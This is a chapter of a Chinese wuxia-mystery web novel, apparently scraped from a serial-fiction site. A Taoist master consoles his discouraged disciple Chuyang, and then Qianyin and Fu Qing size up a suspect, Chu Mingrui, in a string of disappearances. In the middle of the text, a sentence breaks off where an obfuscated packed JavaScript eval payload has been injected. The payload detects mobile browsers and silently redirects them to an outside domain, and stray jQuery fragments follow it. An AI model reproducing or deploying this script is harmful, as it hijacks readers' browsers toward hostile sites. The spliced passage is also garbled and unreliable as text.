青泉观一处屋宇内,缘扉真人正在打坐。
门吱呀一声响,新夏从门外探出半个脑袋。
“师傅,吃早膳了。”
真人收势起身,“来了。”
新夏摆好碗筷,缘扉真人瞄了一眼,“初阳不来了?”
新夏点点头。
真人一皱眉头,“他昨晚回来也没吃饭吧?你们昨日去玉沙城到底发生了什么?”
新夏眼神转向一边,欲言又止的模样。
真人一拂袖子,佯装恼怒道:“好啊,连你也瞒着为师!”
“不是的师傅。是这样的,其实初阳他……他不打算做道士了。”
真人撸着袖子就要往外走,“谁给这小子灌的迷魂汤,我去打醒他!”
“哎呀师傅!你别去了,您就让他自己一个人待会儿吧。您又不是不知道,平日里其他弟子就总取笑他,与其让他在这里受罪,还不如回去当个大夫。”
真人沉默了,他叹了口气,“我去找他谈谈。”
真人来到初阳的房门外敲了敲门,无人应答,他推门而入,屋内所有的行李都已收拾好,堆成半人高的一摞放在角落里,初阳就靠在这一摞行李旁边,双目黯淡。
缘扉真人走过去在他旁边坐下,手掌摩挲着他的头发。
“初阳啊,和师傅说说,为什么不想当道士了?”
初阳脸上强撑出一个笑容,“我就是觉得当大夫更适合我。”
真人叹了口气,声音缓慢而悠长,将记忆推回从前,“你还记得你刚来青泉观的时候,其他师傅都不肯收你。那个时候你拽着我的袖子,跟我说当道士是你的梦想,我便破格将你收下了。”
初阳的眼眶里滚下两行泪水,“对不起师傅,现在看来他们是对的,我就不是当道士的料。”
“谁说我们初阳不是当道士的料了?”
初阳别过脸,用袖子擦着脸上的眼泪,笑得比哭还难看,“师傅,你别劝我了,我真的不想当道士了。大家都说我傻,都瞧不起我,整个青泉观只有你和新夏不会嫌弃我。以前我觉得他们说得不对,可我发现我总是在给别人添麻烦。他们说得对,我就是没用。”
“初阳,你知道我当初为什么愿意收下你吗?”
初阳茫然地摇头。
“因为你的这里,”真人点点他的心口,“是干净的。”
“这个世界上很多人看似聪明,但是他们却轻易就走上邪路。一辈子做大事很难,一辈子做好事更难。初阳,你不是没有用的人,恰恰相反,你是很重要的人。”
“真的吗?”
“当然是真的。虽然我不知道别人说了什么让你怀疑自己,但我告诉你:遵从你自己的内心。在我眼里,任何时候都心存善念的你,是让我非常骄傲的徒弟。”
“师傅……”初阳扑在真人身上嚎啕大哭,真人拍着他的肩膀,“哭吧,把不开心都哭出来,哭完师傅带你吃饭去。”
初阳哭了几声,又抬起脸握紧拳头:“师傅,我要增加训练时间,我要努力成为不拖累别人的人!”
“好好好,就等你这句话了,今天为师非把你给练趴下不可。”
看到初阳跟着师傅一起去吃早膳,新夏终于放心地长舒一口气。
旁边恰好路过两个弟子,他们打趣道:“芦师姐,怎么就你一个人,那个小傻子呢?”
“他不叫小傻子!你们若是再在背后这么叫他,别怪我不客气!”
两人见状急忙道:“师姐别生气,我们就是开个玩笑嘛。”
“想开玩笑就开你自己的玩笑!拿别人开玩笑叫没礼貌!”
两个弟子悻悻地走了,离新夏有一段距离后才敢不服气地嚷嚷:“神气什么,无非是个濯清会第三名,比向师兄差远了。”
顾谅辰正在屋内读书,家丁敲门道:
“少爷,上次的二位道长来了。”
顾谅辰立刻起身,“哪两位?”
家丁思索了一下,用手在头上比划了一圈,“就是戴帷帽的那位姑娘。”
“快请他们进来。”顾谅辰想了一想,又说,“算了不必请了,他们自己会进来的。”
千吟和付卿两人在门口等了片刻,仍不见人来。
“他这是什么意思,晾着我们?”
而此时府中的顾谅辰也奇怪道:“他们怎么还不进来,是不是在怪我礼数不周?”
家丁也在旁边点头,“那位姑娘身份定是尊贵,少爷您还是亲自前去迎接吧。”
顾谅辰正要前往,又突然折返回来。
“少爷还有什么要拿的?”
“我发冠没乱吧?衣饰可还齐整?”
“都好,都好。”
顾谅辰刚走到半路,就遇见了两人。
他立刻露出明朗笑容:“二位道长,好久不见。”
付卿知道千吟不喜欢这种无谓的客套,他开门见山道:“顾公子,今日前来是有一事请你帮忙。”
“道长尽管说。”
付卿拿出那块祈愿牌递给顾谅辰,“顾公子可认得这笔迹的主人?”
顾谅辰接过牌子只看了一眼,便道:“这不是褚兄的字吗?我们曾经是同窗,现在也时常有来往。”
付卿和千吟对视一眼,两人心里皆是一句:来对了。
顾谅辰眼神一闪,“你们找他干什么?”
通过之前的相处,付卿觉得顾谅辰是个是非分明的可信之人,他看向一旁的家丁,顾谅辰心领神会。
“你们先下去吧。”
待到只剩三人时,付卿直白道:“此人和失踪案有关。”
“你是说褚兄有可能是凶手?这怎么可能,褚兄学识渊博,待人谦逊有礼,绝不是会做出这种事的人!”
“此人现在从事何业?”
“他家里是做酒水生意的,但他并不打算继承家业,一心想登进士之列,眼下正在准备今年八月的乡试。”
“听顾公子所说,此人确实不像会做出绑架之事的人。”付卿说。
“那不一定,知人知面不知心,谁会把坏字写在脸上。”千吟对顾谅辰道,“你把此人约来府中,就说我们是你新结识的朋友,其他的交给我。”
顾谅辰应下,唤来家丁:“你去请褚公子前来一聚。”
家丁领下差事去了,顾谅辰对两人道:“二位随我一起去亭中等候吧。”
顾谅辰领两人走到池边亭,千吟径自走到水池旁,顾谅辰见她对池子感兴趣,连忙端了鱼食过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290432|182664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。
他将盛鱼食的瓷碗递给千吟,千吟接下。
顾谅辰趁机问道:“上次见面没有来得及问姑娘的姓名,不知今日能否有此荣幸?”
“没有。”
果断的拒绝。
千吟将鱼食撒向池中,鱼儿争先恐后地涌来,在清透的水面带起涟漪。
顾谅辰被拒绝也没有不悦,在手心放上鱼食,蹲下身将手沐入池中,鱼儿围拢过来啄着他的掌心。
他抬起头问千吟:“姑娘要不要试试,这些鱼都很亲人。”
“是吗?”
千吟摘了一片叶子,将碗中剩余的鱼食都倒在上面,她将叶子放在池面上,屈指一弹,叶子打着圈儿漂向池中心。
鱼食从叶上掉入池中,围拢在顾谅辰周围的鱼儿们纷纷扭头游向池心。
“我看它们只是饿了。”
顾谅辰笑了起来,“还是姑娘明察秋毫。”
这人突然献什么殷勤?千吟心中暗忖。
不远处突然响起拐杖敲地的笃笃声,顾谅辰对两人道:“是褚兄来了。”
转角处出现一个拄着拐杖的青年,他身形瘦削,右腿似乎使不上力,走路时身体压向左边,靠拐杖带动着向前挪步。
“褚兄右腿有疾,自小便拄拐行走。”顾谅辰解释道。他上前想要搀扶褚明睿,被对方摆手拒绝。
顾谅辰引褚明睿走到亭中,向他介绍两人:“这两位是我新认识的朋友。这位是付卿付公子,这位是——”
顾谅辰停住了,千吟很自然地接上:“千吟。幸会。”
“幸会。”
褚明睿看起来确实如顾谅辰所说的一般谦逊有礼。
待他落座后,千吟端起茶杯,余光将这人仔仔细细观察了一遍。
他身形消瘦,走路不便,肤色偏白可见鲜少出门,确实不像能连续作案的样子。
这人坐下后便同顾谅辰闲谈起来,从时下新兴的诗词聊到京城某官员作的散文,又聊到近年的殿试。
“今年的进士据说有不少出彩的,听闻魏状元虽出身平凡,但颇得陛下赏识。”
褚明睿脸上绽出光彩,这是对自己未来光明仕途的期盼。
“武试如何?”
“武试我不甚了解。若说武试,还是五年前那场最是有名,当年的武状元谭凛文武双全,却在文试前夕放弃武状元身份和文试殿试,从此销声匿迹。若是她能完成文试,这文武状元定都是她的。”
顾谅辰也记得当年那场殿试,武状元谭凛以无可比拟的表现夺得状元,名动京城,举国传得沸沸扬扬。在那之后不少人家都将自己的孩子送去习武。
“褚兄文才过人,我相信他日你也定能名登进士。”
“借你吉言。”
“顾公子,怎么今日不见你家家丁张九啊?”千吟忽然插话道。她虽是问顾谅辰,眼睛却始终盯着褚明睿。
顾谅辰愣了一下,随即明白了她的意思。
“张九前几日遇害了。”
“遇害?怎么回事?”褚明睿流露出来的惊讶不像是假的。
“和最近的连环失踪案有关。”顾谅辰说。
褚明睿脸上的表情僵了一下,这一变化被千吟尽收眼底。